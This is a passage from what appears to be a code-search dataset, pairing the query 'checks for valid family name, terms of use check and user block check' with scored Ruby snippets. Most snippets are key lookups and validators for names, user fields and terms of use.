"text": "def key?(key)\n super(convert_key(key))\n end",
"title": ""
},
{
"docid": "1c525cd9bd850ae5082a24e03ea9ed6c",
"score": "0.59574544",
"text": "def key?(key)\n super(convert_key(key))\n end",
"title": ""
},
{
"docid": "1c525cd9bd850ae5082a24e03ea9ed6c",
"score": "0.59574544",
"text": "def key?(key)\n super(convert_key(key))\n end",
"title": ""
},
{
"docid": "43d403ee545c9922c2a2ddce908b1f3c",
"score": "0.5951565",
"text": "def any_keys_found?; end",
"title": ""
},
{
"docid": "6c8002becf14fec6206b370756708dd5",
"score": "0.5926417",
"text": "def check_keys(target, keys, title)\n \tkeys = keys - ['config']\n \tunless target.respond_to?('keys')\n \t\tputs \"The file #{title} is missing all frontmatter.\".red\n \t\treturn false\n \tend\n \tdiff = keys - target.keys\n if diff.empty?\n \t\treturn true\n \telse\n \t\tputs \"\\nThe file #{title} is missing the following keys:\".red\n \t\tfor k in diff\n \t\t\tputs \" * #{k}\".red\n \t\tend\n \t\treturn false\n \tend\n end",
"title": ""
},
{
"docid": "d3d42c484f01f8e98419ad9141c8c0c4",
"score": "0.5918057",
"text": "def key?(_the_key)\n false\n end",
"title": ""
},
{
"docid": "9882450ef2c750fc99f95ef895b27b40",
"score": "0.5914405",
"text": "def has?(key); end",
"title": ""
},
{
"docid": "698aa5b2f04257c403aae77bc9242db4",
"score": "0.59136045",
"text": "def key? key\n @data.key? key\n end",
"title": ""
},
{
"docid": "cbe6d79225d2791a86bf6c883c8a24cb",
"score": "0.5912392",
"text": "def key?(key)\n super cast_key(key)\n end",
"title": ""
},
{
"docid": "85989683a26a1a8aa6da24bfaa4dbd8f",
"score": "0.59119916",
"text": "def key?\n end",
"title": ""
},
{
"docid": "25c75cc190a4f3c9129b0627b7bf9475",
"score": "0.59018207",
"text": "def key?(key)\n context.key?(key)\n end",
"title": ""
},
{
"docid": "73a1777eef8b1dadae9873604fd0f188",
"score": "0.58954173",
"text": "def html_safe_translation_key?(key)\n key.to_s =~ /(\\b|_|\\.)html$/\n end",
"title": ""
},
{
"docid": "73a1777eef8b1dadae9873604fd0f188",
"score": "0.58954173",
"text": "def html_safe_translation_key?(key)\n key.to_s =~ /(\\b|_|\\.)html$/\n end",
"title": ""
},
{
"docid": "753b558cc72eaf907ec9317f041a10c2",
"score": "0.58940893",
"text": "def key? key\n @fields.key? key.to_sym\n end",
"title": ""
},
{
"docid": "75050331605c89a49f3b5aab5777b5be",
"score": "0.5890462",
"text": "def key?(key)\n valid_key?(key) && super(key.to_sym)\n end",
"title": ""
},
{
"docid": "2245afa33cfe7d86c0deff4c81a940dc",
"score": "0.58897364",
"text": "def validate_token_checked\n # check the key being passed in, or give an error message\n end",
"title": ""
},
{
"docid": "2d6ed890720b13bf9aa95c64cc42f465",
"score": "0.5877131",
"text": "def check_for_special_key(key)\n SPECIAL_CHARS.has_key?(key) ? SPECIAL_CHARS[key] : key\n end",
"title": ""
},
{
"docid": "90d7d9b9c42f431ce9ee156b782bea43",
"score": "0.5876147",
"text": "def key?(key)\n @_fields.include? key\n end",
"title": ""
},
{
"docid": "d83bcfd5565396cda023e07c8f847022",
"score": "0.58633524",
"text": "def include?(key)\n super KeyValueModelItem.instance_path(self.root.path, key)\n end",
"title": ""
},
{
"docid": "cddf3c940211ab54cc9daad207d790ac",
"score": "0.5853895",
"text": "def key?(key)\n super(__convert_key(key))\n end",
"title": ""
},
{
"docid": "57f2e6d677fc0b96c0e8019dd93427ad",
"score": "0.5851296",
"text": "def validate_tips_definition( data )\n return false if data.nil?\n\n [:header, :description, :image].each do |key|\n return false unless data.has_key? key\n end\n true\n end",
"title": ""
},
{
"docid": "40f92d70d41eb1e92d2da9e3fdff07ad",
"score": "0.584685",
"text": "def key?(key)\n has_header? key\n end",
"title": ""
}
] |
b9426ce1bd407909eb29b6e0f52ed7ce
|
checks for valid family name, terms of use check and user block check
|
[
{
"docid": "f76b2287d9ba9a5e57b4f3d166dccdbc",
"score": "0.0",
"text": "def initialize()\n #@hide_float_menu = true\n end",
"title": ""
}
] |
[
{
"docid": "60d4e5821138d7b0846a006236d97c4d",
"score": "0.61565495",
"text": "def validate_family(v); end",
"title": ""
},
{
"docid": "25b55e812c703a7935ba6122f501ecfb",
"score": "0.5995477",
"text": "def check_if_in_acbl_honorary_members(name, has_alter_egos, alter_egos)\n # Does not check for alternative names\n check_if_has_award($acbl_honorary_members_winners, name)\nend",
"title": ""
},
{
"docid": "518f6d42072201d9466aa00822ab92ad",
"score": "0.5926472",
"text": "def check_if_in_fishbein(name, has_alter_egos, alter_egos)\n check_all_names_if_has_award($fishbein_winners, name, has_alter_egos, alter_egos)\nend",
"title": ""
},
{
"docid": "db0af098ed049a0c688de449c2e53a08",
"score": "0.58740187",
"text": "def check_terms_of_use\n return\n end",
"title": ""
},
{
"docid": "db0af098ed049a0c688de449c2e53a08",
"score": "0.58740187",
"text": "def check_terms_of_use\n return\n end",
"title": ""
},
{
"docid": "08871ee4eec86eda63ccba92fb46433b",
"score": "0.58399767",
"text": "def check_for_fn_email(name)\n words = name.to_s.split('_')\n return false unless words.size == 2\n return words.include?(\"fn\") && words.include?(\"email\")\n end",
"title": ""
},
{
"docid": "f41ca8370afcf5b1a6b1c4f1e9cb4ae6",
"score": "0.5796462",
"text": "def batch_verify\n begin\n raise ParseError.new(\"You must provide a parent taxon name and an ICZN group.\") if params[:taxon_name][:parent_id].blank? || params[:taxon_name][:iczn_group].blank?\n\n @taxon_names = TaxonName.load_from_batch(params)\n @taxon_name = TaxonName.find(params[:taxon_name][:parent_id])\n raise ParseError.new(\"You don't have permission to edit that name. Contact an administrator if you think there is a problem.\") if !@taxon_name.in_ranges?(session[:person].editable_taxon_ranges)\n \n @iczn_group = params[:taxon_name][:iczn_group] \n @ref = Ref.find(params[:taxon_name][:ref_id]) if params[:term] && !params[:taxon_name][:ref_id].blank?\n \n rescue ParseError => e\n notice = \"#{e}\" \n redirect_to :action => :batch_load and return\n end\n end",
"title": ""
},
{
"docid": "f2116b4f4760c13f49d6a369270547c6",
"score": "0.56179184",
"text": "def check_name\n\t \terrors.push('Name is not valid') unless valid_name?\n\t end",
"title": ""
},
{
"docid": "7eb9974c058a45a706b5308e5ffa1daa",
"score": "0.55975485",
"text": "def check_names\n if formal_name.blank? and informal_name.blank?\n errors.add( :base, I18n.t( 'people.msg.one_name_at_least' ))\n end\n end",
"title": ""
},
{
"docid": "5316ffd1466908ae18d62baf5ebaddc5",
"score": "0.5587707",
"text": "def legal_info\n # unless first_name == nil\n # if first_name.empty?\n # errors.add :legal_first, first_name\n # end\n # end\n #\n # if legal_last.empty?\n # errors.add :legal_last, 'Need a legal last name'\n # end\n #\n # if dob\n # if dob.empty?\n # errors.add :dob, 'Please add your date of birth'\n # end\n # end\n end",
"title": ""
},
{
"docid": "3132eb2256641d2851140058b2a43d00",
"score": "0.5571248",
"text": "def check_if_in_herman(name, has_alter_egos, alter_egos)\n check_all_names_if_has_award($herman_winners, name, has_alter_egos, alter_egos)\nend",
"title": ""
},
{
"docid": "d7df642008691ae6cce77376379bc8da",
"score": "0.5559207",
"text": "def gender_name_check \n if first_name == 'Sue' && gender == 'male' \n errors.add(:first_name, 'cannot be a boy named Sue') \n end \nend",
"title": ""
},
{
"docid": "218ad053ed0d3283d7b18ed522bb222b",
"score": "0.5556843",
"text": "def valid?\n user_id && pid && full_name\n end",
"title": ""
},
{
"docid": "7ed1ad2bfcae8fadcab03b7b48639282",
"score": "0.5552719",
"text": "def check_author_names\n if self.errors[:author_names].empty?\n inserted_author_name = self.author_names.split(',')\n inserted_author_name.collect!{|ia| ia.strip} \n if inserted_author_name.empty? or inserted_author_name.include?(\"\")\n self.errors.add(:author_names, 'are not entered properly. Please check again.') \n else \n for a_name in inserted_author_name\n if /[\\,\\\"\\?\\!\\;\\:\\#\\$\\%\\&\\(\\)\\*\\+\\-\\/\\<\\>\\=\\@\\[\\]\\\\\\^\\_\\{\\}\\|\\~0-9]/.match(a_name)\n self.errors.add(:author_names, 'name should not contain any special characters or numbers.')\n return\n end\n end\n end\n end\n end",
"title": ""
},
{
"docid": "545a5028c182c4f510ea30d85a546788",
"score": "0.5550909",
"text": "def check_if_in_mott_smith(name, has_alter_egos, alter_egos)\n check_all_names_if_has_award($mott_smith_winners, name, has_alter_egos, alter_egos)\nend",
"title": ""
},
{
"docid": "20ca0ab5ed8dc8eb03eab490fcdced4e",
"score": "0.5523626",
"text": "def has_a_name\n if self.authorized_personal_names.blank?\n errors.add('[authorized_personal_name][][family]','Der skal angives mindst et navn')\n end\n end",
"title": ""
},
{
"docid": "7c49ef72646fe59f2b3b145f0af8b90e",
"score": "0.55220985",
"text": "def check_if_in_goren(name, has_alter_egos, alter_egos)\n check_all_names_if_has_award($goren_winners, name, has_alter_egos, alter_egos)\nend",
"title": ""
},
{
"docid": "0883c14c54b4455b43f90ae6e1600eb5",
"score": "0.5517886",
"text": "def validate\n if (errors.empty?) then\n if (!name.match(/^[a-zA-Z0-9.]*$/))\n errors.add_to_base(\"Name may contain only a-z, A-Z, 0-9, and . (dot) characters\\`\")\n end\n if (!name.match(/^#{content_provider.plugin_prefix}\\./))\n errors.add_to_base(\"Name must start with \\'#{content_provider.plugin_prefix}.\\`\")\n end\n if (name.match(/\\.$/)) then \n errors.add_to_base(\"Name may not end with a . (dot)\")\n end\n if (content_provider.new_record?) then\n errors.add_to_base(\"Can't attach to unsaved content provider #{cp.name}\" )\n end\n if (errors.empty? && retired) then \n archival_units.each do |au| \n if (!au.retired?) then \n errors.add_to_base(\"Plugin has archival unit that is not yet retired\"); \n break;\n end\n end\n end\n end\n end",
"title": ""
},
{
"docid": "657dfbdc61237ff6275b1b642b883b0b",
"score": "0.5512111",
"text": "def valid?\n return false unless @owner_name =~ OwnerRegex\n return false unless @name =~ NameRegex\n true\n end",
"title": ""
},
{
"docid": "be1b4d9564efbf00f651d0686d6764da",
"score": "0.54965305",
"text": "def while_not_validating_middle_name\n @validate_middle_name = false\n yield if block_given?\n ensure\n @validate_middle_name = true\n end",
"title": ""
},
{
"docid": "2d7805ef55898fb8402687bd48bc1919",
"score": "0.54838514",
"text": "def valid?\n \n \n if @asg_owner_email.nil?\n return false\n end\n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n allowed_values = [\"standard\", \"recovery\"]\n if @asg_type && !allowed_values.include?(@asg_type)\n return false\n end\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end",
"title": ""
},
{
"docid": "b3a4cc1d0fadb0b504f70490d1cf0920",
"score": "0.54728204",
"text": "def email_addr_acceptable\n #start\n #@user_name = params[:user_name]\n return true\n end",
"title": ""
},
{
"docid": "6faa314009a0c6b5f06ad2ad449cbcd4",
"score": "0.54551375",
"text": "def valid?\n return false if [email protected]? && @token.to_s.length > 36\n return false if [email protected]? && @token.to_s.length < 1\n return false if [email protected]? && @notes.to_s.length > 255\n return false if [email protected]? && @notes.to_s.length < 0\n return false if !@ip_address.nil? && @ip_address.to_s.length > 39\n return false if !@ip_address.nil? && @ip_address.to_s.length < 0\n return false if [email protected]? && @password.to_s.length > 255\n return false if [email protected]? && @password.to_s.length < 0\n return false if [email protected]? && @phone.to_s.length > 255\n return false if [email protected]? && @phone.to_s.length < 0\n return false if !@account_holder_group_token.nil? && @account_holder_group_token.to_s.length > 36\n return false if !@account_holder_group_token.nil? && @account_holder_group_token.to_s.length < 0\n return false if [email protected]? && @honorific.to_s.length > 10\n return false if [email protected]? && @honorific.to_s.length < 0\n gender_validator = EnumAttributeValidator.new('String', [\"F\", \"M\"])\n return false unless gender_validator.valid?(@gender)\n return false if [email protected]? && @gender.to_s.length > 1\n return false if [email protected]? && @gender.to_s.length < 0\n return false if !@first_name.nil? && @first_name.to_s.length > 40\n return false if !@first_name.nil? && @first_name.to_s.length < 0\n return false if !@middle_name.nil? && @middle_name.to_s.length > 40\n return false if !@middle_name.nil? && @middle_name.to_s.length < 0\n return false if !@last_name.nil? && @last_name.to_s.length > 40\n return false if !@last_name.nil? && @last_name.to_s.length < 0\n return false if [email protected]? && @email.to_s.length > 255\n return false if [email protected]? && @email.to_s.length < 1\n return false if [email protected]? && @address1.to_s.length > 255\n return false if [email protected]? && @address1.to_s.length < 0\n return false if [email protected]? && @address2.to_s.length > 255\n return false if [email protected]? && @address2.to_s.length < 0\n return false if [email protected]? && @city.to_s.length > 40\n return false if [email protected]? && @city.to_s.length < 0\n return false if [email protected]? && @state.to_s.length > 32\n return false if [email protected]? && @state.to_s.length < 0\n return false if [email protected]? && @country.to_s.length > 40\n return false if [email protected]? && @country.to_s.length < 0\n return false if !@passport_number.nil? && @passport_number.to_s.length > 40\n return false if !@passport_number.nil? && @passport_number.to_s.length < 0\n return false if !@id_card_number.nil? && @id_card_number.to_s.length > 255\n return false if !@id_card_number.nil? && @id_card_number.to_s.length < 0\n return false if [email protected]? && @nationality.to_s.length > 255\n return false if [email protected]? && @nationality.to_s.length < 0\n return false if [email protected]? && @company.to_s.length > 255\n return false if [email protected]? && @company.to_s.length < 0\n return false if !@parent_token.nil? && @parent_token.to_s.length > 36\n return false if !@parent_token.nil? && @parent_token.to_s.length < 1\n return false if !@postal_code.nil? && @postal_code.to_s.length > 10\n return false if !@postal_code.nil? && @postal_code.to_s.length < 0\n true\n end",
"title": ""
},
{
"docid": "823bd2258a25f1a18d84a9e0a0c460b5",
"score": "0.54524034",
"text": "def valid_non_user\n #puts \"VALID USER - USER DEVICE TOKENS #{@device_tokens} #{@first_name} #{@phone_number} #{@last_name} \"\n return (!@phone_number.nil? && !@phone_number.empty? && !@first_name.nil? && !@first_name.empty? && !@last_name.nil? && !@last_name.empty? )\n\n end",
"title": ""
},
{
"docid": "590632217ef2bce865bb8f869810e1b3",
"score": "0.54408896",
"text": "def check_version_user(value, version)\n # 'user' must be a hash.\n if !value.is_a?(Hash)\n @my_results.error('E111', 'check_version', \"Value in version #{version} user block is wrong type.\")\n @version_check = true\n return # No point in processing further.\n end\n\n # 'user' must contain 'name'\n # 'user' must contain 'address'\n value.each do |user_key, user_value|\n case user_key\n when 'name'\n # user_name must be String.\n if !user_value.is_a?(String)\n @my_results.error('E111', 'check_version', \"Value in version #{version} user name block is not a String.\")\n @version_check = true\n next\n end\n # user_name must have content.\n if user_value.empty?\n @my_results.error('E111', 'check_version', \"Value in version #{version} user name block cannot be empty.\")\n @version_check = true\n end\n # user.name is valid!\n when 'address'\n # user_address must be String.\n if !user_value.is_a?(String)\n @my_results.error('E111', 'check_version', \"Value in version #{version} user address block is not a String.\")\n @version_check = true\n next\n end\n # user_address SHOULD have content.\n if user_value.empty?\n @my_results.warn('W111', 'check_version', \"Value in version #{version} user address block SHOULD NOT be empty.\")\n next\n end\n # user.address should be either mailto: or URI.\n if check_for_mailto(user_value) == true\n next # It's a mailto:, we don't need to process further.\n end\n\n if check_for_uri(user_value) == true\n next # It's a URI, don't need to process further.\n end\n # If we get to here, it wasn't a mailto or a URI.\n @my_results.error('E111', 'check_version', \"Value in #{version} #{user_value} is not a valid URI or mailto: format.\")\n @version_check = true\n\n else # unexpected value in user block.\n @my_results.error('E111', 'check_version', \"Unexpected value in version #{version} user block #{user_key}.\")\n @version_check = true\n end\n\n end\n # user block is valid!\n end",
"title": ""
},
{
"docid": "029668fb8b896540e409f16095faedf0",
"score": "0.54341775",
"text": "def error_check\n proceed = @address.number.include?(\"80040B1A\") ? false : true\n\n if proceed\n if [email protected]?\n menu_options = [\"Y\", \"\", \"N\"]\n user_option = \"!\"\n until valid_option?(user_option, menu_options)\n banner(\"ADDRESS STANDARDIZATION\")\n puts error_message\n spacer\n puts \"Do you want to try again? (\".light_white + \"y/n\".red + \")\".light_white\n user_option = gets.strip.upcase\n spacer\n end\n\n case user_option\n when \"Y\", \"\" then verify\n when \"N\" then menu\n end\n else\n save_address?\n end\n else\n puts \" Username is incorrect or does not exist. Please double check the username inside '/lib/standardize_address.rb' and try again.\".red\n spacer\n end\n end",
"title": ""
},
{
"docid": "d4ae597b301cab34e4c95d8578cae16c",
"score": "0.5426012",
"text": "def automated_validation\n # Trivial cases (not-yet-notified or already validated)\n return false unless notified?\n return true if validated?\n\n # Minimum requirements\n success = true\n unless publication && publication_pdf.attached?\n add_note('Missing publication or PDF files')\n success = false\n end\n\n # Check that all names have been approved\n unless names.all?(&:after_approval?)\n add_note('Some names have not been approved yet')\n success = false\n end\n\n # Check if the list has a PDF that includes the accession\n has_acc = false\n bnames = Hash[names.map { |n| [n.base_name, false] }]\n cnames = Hash[names.map { |n| [n.base_name, n.corrigendum_from] }]\n [publication_pdf, supplementary_pdf].each do |as|\n break if has_acc && bnames.values.all?\n next unless as.attached?\n\n as.open do |file|\n render = PDF::Reader.new(file.path)\n render.pages.each do |page|\n txt = page.text\n has_acc = true if txt.index(accession)\n bnames.each_key do |bn|\n if txt.index(bn) || (cnames[bn] && txt.index(cnames[bn]))\n bnames[bn] = true\n end\n end\n break if has_acc && bnames.values.all?\n end\n end\n end\n\n if has_acc\n add_note('The effective publication includes the SeqCode accession')\n else\n add_note(\n 'The effective publication does not include the accession ' \\\n '(SeqCode, Rule 26, Note 2)'\n )\n end\n\n if bnames.values.all?\n add_note('The effective publication mentions all names in the list')\n elsif bnames.values.any?\n if bnames.values.count(&:!) > 5\n add_note(\n \"The effective publication mentions\" \\\n \" #{bnames.values.count(&:itself)} out of\" \\\n \" #{bnames.count} names in the list\"\n )\n else\n add_note(\n \"The effective publication mentions some names in the list,\" \\\n \" but not: #{bnames.select { |_, v| !v }.keys.join(', ')}\"\n )\n end\n else\n add_note(\n 'The effective publication does not mention any names in the list'\n )\n end\n\n save\n end",
"title": ""
},
{
"docid": "8ae7b4f7d26a45de3fa7714011e2a7ab",
"score": "0.54047745",
"text": "def check_if_in_zedtwitz(name, has_alter_egos, alter_egos)\n check_all_names_if_has_award($acbl_zedtwitz_winners, name, has_alter_egos, alter_egos)\nend",
"title": ""
},
{
"docid": "f78d8ab0ab2c54620819dc2176587718",
"score": "0.5403234",
"text": "def valid?\n %w[fullaccess guest limitedaccess manager].include? @name\n end",
"title": ""
},
{
"docid": "8cac74244707b6b2c2aa915cef39fa24",
"score": "0.5400332",
"text": "def valid?\n \n \n if @name.nil?\n return false\n end\n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end",
"title": ""
},
{
"docid": "f214e1e81b62e32c8d17eb22ed060494",
"score": "0.53794795",
"text": "def check\n \n end",
"title": ""
},
{
"docid": "0d106bdf4d5963bd6b70b82145a83119",
"score": "0.5365792",
"text": "def check_if_in_acbl_kob(name, has_alter_egos, alter_egos)\n check_all_names_if_has_award($acbl_kob_winners, name, has_alter_egos, alter_egos)\nend",
"title": ""
},
{
"docid": "fc90db92e8ff63fddf5c846d3ce78d29",
"score": "0.5358152",
"text": "def user_name_format\n name_array = name.split(/ |'|-/)\n first = true\n errors.add(name_format_error, I18n.t('users.need_first_and_last')) if (name_array.size < 2) # \" - Must include first and last name.\"\n name_array.each do |piece|\n errors.add(name_format_error, I18n.t('users.first_name_capital')) if (first && (!(piece =~ /\\A[A-Z][a-z]*\\Z/))) # \" - First name must start with a capital and only contain letters.\"\n errors.add(name_format_error, I18n.t('users.letters_only')) if ((!first) && (!(piece =~ /\\A[A-z]*\\Z/))) # \" - Name must only contain letters.\"\n first = false\n end\n end",
"title": ""
},
{
"docid": "f280081f010c53f6c64020b00b2dd58b",
"score": "0.53539014",
"text": "def check_reserved_usernames\n reserved = %w{admin kyle leo}\n self.errors.add(:username, 'is not allowed') if reserved.include?(self.username.to_s.downcase.strip)\n end",
"title": ""
},
{
"docid": "5b62a8ecb070ef3ce922996179495408",
"score": "0.53518635",
"text": "def check_reserved_usernames\n reserved = %w{admin kyle leo}\n self.errors.add(:username, 'is not allowed') if reserved.include?(self.username.downcase.strip)\n end",
"title": ""
},
{
"docid": "e01d5141abcf477ef1bc43331456a039",
"score": "0.5348577",
"text": "def check_names(str)\n\nend",
"title": ""
},
{
"docid": "6b990acd43b21a6e9f0e9b93a105b69f",
"score": "0.53471386",
"text": "def validate_for_ssi_income_or_ssi_characteristics\n\t\t@family_struct.adults_struct.each do |parent|\n\t\t\tif Client.is_adult(parent.parent_id) && (parent.status == 4468 || parent.status == 4469)\n\t\t\t\tresult = !(Income.is_the_client_recieving_ssi(parent.parent_id, @family_struct.validation_date) || ClientCharacteristic.has_disability_ssi_characteristic(parent.parent_id, @family_struct.validation_date))\n\t\t\t\tif Income.is_the_client_recieving_ssi(parent.parent_id, @family_struct.validation_date) || ClientCharacteristic.has_disability_ssi_characteristic(parent.parent_id, @family_struct.validation_date)\n\t\t\t\t\t@family_struct.ineligible_codes[parent.parent_id] << 6329\n\t\t\t\tend\n\t\t\t\t# insert_application_eligibility_result(@family_struct.application_id, adult, 6329, result) # Receiving SSI\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "65d1bc8a4210c79c103fcbeb895a8797",
"score": "0.5343232",
"text": "def validate_each(rec, attr, name)\n forbidden_characters = name.delete(ALLOWED_PUNCTUATION).chars.grep(/[[:punct:]]/).uniq\n\n if rec.new_record? && User.find_by_name(name).present?\n rec.errors.add(attr, \"already exists\")\n elsif name.length <= 1\n rec.errors.add(attr, \"must be more than 1 character long\")\n elsif name.length >= 25\n rec.errors.add(attr, \"must be less than 25 characters long\")\n elsif name =~ /[[:space:]]/\n rec.errors.add(attr, \"can't contain whitespace\")\n elsif name =~ /\\A[[:punct:]]/\n rec.errors.add(attr, \"can't start with '#{name.first}'\")\n elsif name =~ /[[:punct:]]\\z/\n rec.errors.add(attr, \"can't end with '#{name.last}'\")\n elsif name =~ /\\.(html|json|xml|atom|rss|txt|js|css|csv|png|jpg|jpeg|gif|png|mp4|webm|zip|pdf|exe|sitemap)\\z/i\n rec.errors.add(attr, \"can't end with a file extension\")\n elsif name =~ /__/\n rec.errors.add(attr, \"can't contain multiple underscores in a row\")\n elsif forbidden_characters.present?\n rec.errors.add(attr, \"can't contain #{forbidden_characters.map { |c| \"'#{c}'\" }.to_sentence}\")\n elsif name !~ /\\A([a-zA-Z0-9]|\\p{Han}|\\p{Hangul}|\\p{Hiragana}|\\p{Katakana}|[#{ALLOWED_PUNCTUATION}])+\\z/\n rec.errors.add(attr, \"must contain only basic letters or numbers\")\n elsif name =~ /\\Auser_\\d+\\z/i\n rec.errors.add(attr, \"can't be the same as a deleted user\")\n elsif name =~ Regexp.union(Danbooru.config.user_name_blacklist)\n rec.errors.add(attr, \"is not allowed\")\n end\n end",
"title": ""
},
{
"docid": "d3a47f5e86dd83ac1e201d3bf8604c47",
"score": "0.533566",
"text": "def validate_alexa_request!\n validate_skill\n # More +validate_###+ functions goes here. Well, kind of...\n end",
"title": ""
},
{
"docid": "cfcba3c2b4cc71a07d09bedf1fca47aa",
"score": "0.5319731",
"text": "def valid?\n return false if [email protected]? && @group.to_s.length > 255\n return false if [email protected]? && @group.to_s.length < 0\n return false if [email protected]? && @group !~ Regexp.new(/^[\\p{White_Space}\\p{L}\\p{M}\\p{S}\\p{N}\\p{P}]*$/)\n return false if [email protected]? && @name.to_s.length > 255\n return false if [email protected]? && @name.to_s.length < 1\n return false if [email protected]? && @name !~ Regexp.new(/^[\\p{White_Space}\\p{L}\\p{M}\\p{S}\\p{N}\\p{P}]*$/)\n return false if [email protected]? && @version.to_s.length > 255\n return false if [email protected]? && @version.to_s.length < 0\n return false if [email protected]? && @version !~ Regexp.new(/^[\\p{White_Space}\\p{L}\\p{M}\\p{S}\\p{N}\\p{P}]*$/)\n classifier_validator = EnumAttributeValidator.new('String', [\"APPLICATION\", \"FRAMEWORK\", \"LIBRARY\", \"OPERATING_SYSTEM\", \"DEVICE\", \"FILE\"])\n return false unless classifier_validator.valid?(@classifier)\n return false if [email protected]? && @filename.to_s.length > 255\n return false if [email protected]? && @filename.to_s.length < 0\n return false if [email protected]? && @filename !~ Regexp.new(/^[\\p{Alnum}:\\/\\\\!@#$%^&{}\\[\\]()_+\\-=,.~'` ]{1,255}$/)\n return false if [email protected]? && @extension.to_s.length > 255\n return false if [email protected]? && @extension.to_s.length < 0\n return false if [email protected]? && @extension !~ Regexp.new(/^[\\p{Alnum}!@#$%^&{}\\[\\]()_+\\-=,.~'` ]{1,255}$/)\n return false if [email protected]? && @md5 !~ Regexp.new(/^[0-9a-f]{32}$/)\n return false if [email protected]? && @sha1 !~ Regexp.new(/^[0-9a-f]{40}$/)\n return false if [email protected]? && @sha256 !~ Regexp.new(/^[0-9a-f]{64}$/)\n return false if [email protected]? && @sha512 !~ Regexp.new(/^[0-9a-f]{128}$/)\n return false if !@sha3_256.nil? && @sha3_256 !~ Regexp.new(/^[0-9a-f]{64}$/)\n return false if !@sha3_512.nil? && @sha3_512 !~ Regexp.new(/^[0-9a-f]{128}$/)\n return false if [email protected]? && @cpe.to_s.length > 255\n return false if [email protected]? && @cpe.to_s.length < 0\n return false if [email protected]? && @cpe !~ Regexp.new(/(cpe:2\\.3:[aho\\*\\-](:(((\\?*|\\*?)([a-zA-Z0-9\\-\\._]|(\\\\[\\\\\\*\\?!\"#$$%&'\\(\\)\\+,\\/:;<=>@\\[\\]\\^`\\{\\|}~]))+(\\?*|\\*?))|[\\*\\-])){5}(:(([a-zA-Z]{2,3}(-([a-zA-Z]{2}|[0-9]{3}))?)|[\\*\\-]))(:(((\\?*|\\*?)([a-zA-Z0-9\\-\\._]|(\\\\[\\\\\\*\\?!\"#$$%&'\\(\\)\\+,\\/:;<=>@\\[\\]\\^`\\{\\|}~]))+(\\?*|\\*?))|[\\*\\-])){4})|([c][pP][eE]:\\/[AHOaho]?(:[A-Za-z0-9\\._\\-~%]*){0,6})/)\n return false if [email protected]? && @description.to_s.length > 1024\n return false if [email protected]? && @description.to_s.length < 0\n return false if [email protected]? && @description !~ Regexp.new(/^[\\p{White_Space}\\p{L}\\p{M}\\p{S}\\p{N}\\p{P}]*$/)\n return false if [email protected]? && @copyright.to_s.length > 1024\n return false if [email protected]? && @copyright.to_s.length < 0\n return false if [email protected]? && @copyright !~ Regexp.new(/^[\\p{White_Space}\\p{L}\\p{M}\\p{S}\\p{N}\\p{P}]*$/)\n return false if [email protected]? && @license.to_s.length > 255\n return false if [email protected]? && @license.to_s.length < 0\n return false if [email protected]? && @license !~ Regexp.new(/^[\\p{White_Space}\\p{L}\\p{M}\\p{S}\\p{N}\\p{P}]*$/)\n return false if @uuid.nil?\n true\n end",
"title": ""
},
{
"docid": "466fc173a9d55cb84900265f3c4a3bad",
"score": "0.5302165",
"text": "def name_is_valid?(user, name)\n\t\t\tuser.respond_to? \"#{name.pluralize}_administrating\" and this_is_act?(name)\n\t\tend",
"title": ""
},
{
"docid": "351d6b035a75ce301f020861a1907560",
"score": "0.5301447",
"text": "def check; end",
"title": ""
},
{
"docid": "0018ce8b061a0610ea771476d83e44fa",
"score": "0.52991307",
"text": "def check_taxon\n if Taxon.present? && self.file_type.match(TAXON_REQUIRED_REGEX).present? && self.sync_status\n if self.taxon_id.nil?\n errors.add(:taxon_id, 'You must supply a species for this file type: ' + self.file_type)\n end\n end\n\tend",
"title": ""
},
{
"docid": "65dee56e725a9efc7ab8fc004d62db8d",
"score": "0.5295154",
"text": "def check_requested_fields()\n print \"\\n--------------------------------------------------------\\n\"\n print \"07) Validate desired fields...\\n\"\n found_a_bad_field = false\n @fields_2b_modified = []\n @desired_fields.split(',').each_with_index do |this_field, ndx_field|\n this_field = this_field.downcase\n if @tc_fields.include?(this_field) == true\n print \"\\tField OK: #{this_field}\\n\"\n @fields_2b_modified.push(this_field)\n else\n if @tc_fields.include?('custom_' + this_field) == true\n print \"\\tField OK: custom_#{this_field}\\n\"\n @fields_2b_modified.push('custom_' + this_field)\n else\n print \"\\tERROR: Did not find a field with system_name '#{this_field}'\\n\"\n found_a_bad_field = true\n end\n end\n end\n if found_a_bad_field == true\n print \"\\tERROR: Invalid field name(s) found (above); exiting'\\n\"\n exit ERR_EXIT_FIELDINV\n end\n return\nend",
"title": ""
},
{
"docid": "afb1ac8d7f0759faff00ea3a2068cbec",
"score": "0.5288254",
"text": "def boy_named_sue\n \tif gender == \"male\" && first_name == \"Sue\"\n \t\terrors.add(:gender, \"anything but Sue\")\n \tend\n end",
"title": ""
},
{
"docid": "c4ed6cfe172256a5ded740a0eb05d2f3",
"score": "0.5275438",
"text": "def validate_terms_of_use\n if @admin.has_accepted_terms_of_use?\n err = error_with_internal_code('am_l_tou_g_vtou_1',\n 'Terms of use is accepted',\n GlobalConstant::ErrorCode.temporary_redirect,\n {},\n {},\n {}\n )\n err.set_error_extra_info({redirect_url: GlobalConstant::WebUrls.admin_dashboard})\n return err\n end\n success\n end",
"title": ""
},
{
"docid": "a2a598a235792e284d63b11a5a7f9f68",
"score": "0.52736604",
"text": "def check_if_in_blackwood(name, has_alter_egos, alter_egos)\n check_all_names_if_has_award($acbl_blackwood_winners, name, has_alter_egos, alter_egos)\nend",
"title": ""
},
{
"docid": "c3fbc0ffffd6186ad0ae1353479ac1a6",
"score": "0.52736133",
"text": "def is_valid_name(str)\n # Let's split the string into its parts\n parts = str.split(\" \") # if we split the string, we have at least two parts that could be valid. If we have one part, won't work\n #if parts.length < 2\n # return false\n #end \n\n if parts.length < 2\n return false\n end\n\n parts.each do |part|\n if !is_capitalized(part) #if not capitalized with !...this is a boolean\n return false\n end \n end\n\n return true # need to verify every element of the name and return true after checking everything\nend",
"title": ""
},
{
